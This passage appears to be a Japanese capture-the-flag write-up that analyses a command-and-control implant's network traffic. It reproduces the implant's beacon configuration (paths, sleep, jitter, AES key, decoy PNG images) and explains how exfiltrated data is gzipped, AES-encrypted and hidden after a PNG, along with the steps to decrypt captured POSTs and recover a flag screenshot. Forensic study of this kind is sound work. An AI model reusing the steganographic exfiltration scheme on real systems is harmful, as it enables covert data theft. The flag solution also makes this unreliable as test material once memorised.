"Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"
killDate : 2025-01-01
sleep : 3s
jitter : 0.2
key2 : nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
stringIMGS : "iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAMAAAAM7l6QAAAAYFBMVEU1Njr////z8/NQUVSur7DP0NE6Oz/ExMXk5OX7+/uFhojMzM3s7OxhYWScnJ5sbXBCQ0aioqTc3N24ubp9foB4eXxJSk1aW16+vsC1tbZERUmTlJZlZmlxcnWpqauPj5EM0tYGAAABIklEQVQokW3T2xaCIBAF0DMoCmpK3jLL/P+/DAEdI88Tzl6yuAwgTpuu/VDUueAS9oG+JwjJFhlzOuKcQZ1ZLIhiJubqEavNZ2d9u1CgC1xcKoxyXLqPRQmOarbS27GfWvFmhabW1XLL0k/FumLUwtUay0XMdpPCMypQEvPzVlDgDmEQWJT+wEN1RXtwl5IYkQj6TDsPkDtL3Khzy32gDdww50iozZApmiEDL1DM9kd5lzTh4B46Y563ey4Ncw16M9tz7N0Z7lyC7sfSOMqz0aDKzy4oT/eU5FdUbFfiT3Wlc1zNbsJyZZzPCWd2lZdvhw6XeejQa68rHdXRqfW/Ju2pzycTaVP9PIOq//n1GT8iUnXodjNM+u+NuSaQ+VSqc+ULzdUKYp4PP7UAAAAASUVORK5CYII=","iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAAM1BMVEX///9ERERQUFDQ0NCKioro6Ojz8/O5ubmhoaGWlpbExMRzc3NbW1tnZ2fc3Nytra1/f38sBDSdAAAA1ElEQVQ4jc1SSRLDIAzDgM2a5f+vLTZpCMtMp6dWh5hBsrwQpf4KFiBwDAB2xTsAUXiObm1QQKQ5rCxOERgj4VwI/FNwDGT0RqF4I/JXozLlqku20mWQIUqP3JG/BZJbPI4odkfJF59bAFPjdaRekMoB7ZYtlkPqBfkS1B1ougS5DQG1pWrMxWTm2Eo6DYkUwgVUlEDP67ZvwfKtVDMA2Jf81gQbTjR5DQ9oTz2/ZxiQ+zJ65Os6bpiZ58f5QkCfStQ/tsewSMceKURjYuCFLBb9O7wAPuQEc7DXsEAAAAAASUVORK5CYII=","iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAADAFBMVEUBAAD//////pn//mX//jP9/QD/y/7/y8v/y5n/y2X/zDP9ywD/mf7/mcv/mZn/mGX/mDP9mAD/Zf7/Zcv/ZZj/ZWX/ZTP9ZQD/M/7/M8v/M5j/M2X/MzP9MgD9AP39AMv9AJj9AGX9ADL9AADL///L/8vM/5nL/2XM/zPL/QDLy//MzMzLy5jMy2bLyzLMywDLmf/LmMvLmJjMmGbLmDLMmQDLZf/MZsvMZpjMZmbLZTLMZQDLM//LMsvLMpjLMmXLMjLMMgDLAP3MAMvMAJjMAGXMADLMAACZ//+Z/8uZ/5mY/2WZ/zOY/QCZzP+Yy8uYy5iZzGaYyzKZzACZmf+YmMuZmZmYmGWZmDOYlwCYZf+YZsyYZZiYZWWZZTOYZQCYM/+YMsuZM5iZM2WZMzOYMgCYAP2YAMyYAJeYAGWYADKYAABl//9l/8tl/5hl/2Vm/zNl/QBly/9mzMxmzJhmzGZlyzJmzABlmP9mmcxlmJhlmGVmmTNlmABlZf9mZsxlZZhmZmZlZTJmZQBlM/9lMstlM5llMmVlMjJmMgBlAP1lAMxlAJhmAGVmADJmAAAz//8z/8wz/5gz/2Yz/zMy/QAzzP8yy8syy5gyy2UyyzIzzAAzmf8ymMszmZkzmWUzmTMymAAzZv8yZcszZpkyZWUyZTIzZgAzM/8yMsszM5kyMmUzMzMyMQAyAP0yAMwyAJgyAGYyADEyAAAA/f0A/csA/ZgA/WUA/TIA/QAAy/0AzMwAzJkAzGUAzDMAzAAAmP0AmcwAmJgAmGUAmDIAmAAAZf0AZswAZZgAZmYAZjIAZgAAMv0AM8wAMpgAM2YAMjIAMgAAAP0AAMwAAJgAAGYAADLuAADcAAC6AACqAACIAAB2AABUAABEAAAiAAAQAAAA7gAA3AAAugAAqgAAiAAAdgAAVAAARAAAIgAAEAAAAO4AANwAALoAAKoAAIgAAHYAAFQAAEQAACIAABDu7u7d3d27u7uqqqqIiIh3d3dVVVVEREQiIiIREREAAADMkK3HAAAAAXRSTlMAQObYZgAAAT5JREFUeNp1krFuhDAMhp0cFUIsqGvfgI216spTd83e7d6AFd1yim7g3N8OgRBChuDk/2T/djBUWmy20JSB/f4K2ERT1qzub1MCWmz1S0IvxLkE/2D7E4oeRYD4s1d9Xj6+nQKcVeK2ls8MJ29R2AY7qQ0l6EHPxuD4zLoRYPpadQWORqSPetKwEZNHAH60QP8LmXQOCaAqaYc9kTNhmvA8m1SNRATQNwBOVAWoTwC0fJAVoDkBXvk0D0B4nwtdM7QeHeV6CljagFqqoYV7DqxEeAJp0XYbwF4tCDHcg0yOzoAQg0iylhuABUGlAI3OroAzODYLCQAOhHjwI1ICGHS6jPuKbTcJWNEKGNzE4eqzeQp6BPCjdxj4/u4sBao4ST+mvo8rAEh3kxTiqgCoL1KCTkj6t4UcFV0Bu7F0/QNR1IQemtEzQAAAAABJRU5ErkJggg==","iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAAAXVBMVEWnp6f///8rLi3p6en8/Py9vb2wsLC6urrLy8vS0tLv7+/W1tY0NzaYmJh5enouMTBmaGc6PDuEhISjo6OLi4udnp1BREN+f35PUlFxcnJZW1pMTk5cXl2RkZE3OjlmWTrgAAAA2ElEQVQokX2S2xKDIAxEIwgq4gUVq7b0/z+zQMCB6rgv0ZyRXUOgCBIt4wCctSJ2AAtlcIrRBJU1ZKrLiMoK/lSViK4EmUX1ldgzHaJ3BIBa5LN1+D5/pDy6aXE5CxCutShkB3F6O2RB48pEZG+L9oRIjxrw5+mBkHU3BlGPfw7cW40k0csjjvYmJcRkUbeEfGOTh9TDicYIcOSzOonUEGI0wW3NQ7jwIjzpYLdHJ4GDWsYNvdQUCYvjnQ41DGrr52y8D5fydJUPC/C0Nm7Zkg8rmu3h3Yr+ANAgB/2vh2bMAAAAAElFTkSuQmCC","iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAA+VBMVEX////p6en6+vr29va8vLzq3MWkgFPt38rv7+/g4ODJycnj4+Pl173g0LSZZir59/XYx6WohlvNroXw4sqjdDu2mG3NvJMRDhPTw53Cq4LZ2dmSXR7by6zRv5r06Netj2fXy7ugd0SQWRnKt5DBpXnk18O8uLOnnpG1qJm+o32ZaC9ucHWQkpael43Yw6etg062mZiumHthYWXYxKjUxLDTz8nm1LG5n32ojW2tnoq9mm4wLjJUUlQnJSheV065r6NrY1eDg4aSZzXIt6AfGxzCn3N8WzU1KR+BViRQNxt6ZUqsi4RBMTHJtbWfeGgdDQ22jlyqfUW8n4zo5IpYAAACJ0lEQVQ4ja2T63uaMBjFQQwXTWhCkEYTik7t0Hbi1FrFrje1u7gL9v//Y/ZCfdR2+7Rn54s8nJ8nyXmDpv1HnUyuzULR5OStV7pmYPTG6AxkDXosMtmydOzXKGlzay8epilzDkCTEUIwQmBBgGUhhEknPWQ0mcqBIqEAOOco9NYsKh378/vlyyJcffv6xc08yCgI2wwBUPFqvnoBBo+fn1au9Lw0M2GVUtSjOTBe4gkCWShptbaPPkSkmc8MCBBUYUWVhTAIoXaWKuL5rl8AuqazHBAUnXFMciLNQihjDGukSQEUCaFC/BkXm80yZT1znsh1dgBIoLD262dAFKFJkv7QbnFbptnWnwEwqwtKlNp8B0BBRrJN4HnoSwhoxbZm39XyNfDZZkNo3iUn2WA4HEiZ+H3WMDSjYdYpzXc3zf2i6bXrutL1+2asQ1H6ORAE6qe4ADgcty6ldN3WRwiAUTpACAspGBfvdptdmBTpvJOyFVXsYhYGEG0FVRH04eLy8uI9hj13ZJ9V9N04DSdmJgUAL0YPD6ObqaJUmOyuur8yRqPMYKdqevtpdLO4n1Ih6rOyYxxujOHMewJOS1enp4sBpWFQi6tHPhDQRigonSoF/w+DILp65WulKxYEQShEkggBT4I5pddANerA+6C39YvfWqS/ufj2uVmDvrw09Wi7HrFdBccRlfks/2ryD2QW7ys4IvRGpbxTpfGnn5/E1neyjb/Y/6zfsC5Em3hFDfYAAAAASUVORK5CYII="

これ以降の通信の暗号化については、key2を変わりに使うくらいで他にめぼしい変化はない。
POSTを使ってクライアントからC2にデータを送っている。
Execメソッドを見ると、どのようにデータを送信しているかがわかる。
応答データはs = Program.Encryption(key, cmd, true, null);のようにEncryptionメソッドに渡している。
ここでは、これまで同様にAESでnUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=を鍵としてIVは先頭にくっつけて暗号化しているが、
異なる点があり、1点暗号化前にgzipで圧縮している。
こうしてできたpayloadをpngファイルの末尾にくっつけて送っている。Program.ImgGen.GetImgData(cmdoutput);にある処理。
送っているデータの先頭1500bytesはpngファイルとゴミファイルであるため、実際のデータは1500bytes分skipして解釈する必要がある。
なので、POSTで何を送っているかを確認したい場合をおさらいすると以下のようになる

  1. 先頭1500bytes分はゴミデータなので消す
  2. さらに先頭16bytes分はAESで使うIVなので取り出す
  3. 鍵をnUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=、IVは手順2のものを使ってAESのCBCで復号化
  4. データをgunzipする(ここが一番の注意点だが、CyberChefのgunzipではエラーになるのでC#でgunzipすること)

盗まれたデータを解析するのが今回の問題なので、怪しい所を探っていくと最後にPOSTされたパケットNo.7242のデータを復号化すると
画面のスクリーンショットが得られる。
ここにフラグが書いてある。